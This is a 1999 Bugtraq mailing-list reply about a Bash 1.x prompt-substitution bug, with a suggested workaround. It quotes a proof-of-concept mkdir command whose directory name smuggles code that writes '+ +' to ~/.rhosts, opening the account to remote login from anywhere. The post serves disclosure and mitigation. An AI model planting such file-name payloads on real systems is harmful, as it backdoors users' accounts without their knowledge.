Bugtraq mailing list archives

Re: Bash Bug


From: peak () ARGO TROJA MFF CUNI CZ (Pavel Kankovsky)
Date: Thu, 22 Apr 1999 11:16:06 +0200


On Tue, 20 Apr 1999, Shadow wrote:

mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "

Bash 1.x screws up during PS1 substitution (\w, \W). Bash 2.x does not
seem to be vulnerable. Anyway, there's a hope even for those who want to
stick to 1.x: replace \w with $PWD, \W with ${PWD##*/} (no guarantee).

--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
"NSA GCHQ KGB CIA nuclear conspiration war weapon spy agent... Hi Echelon!"



Current thread: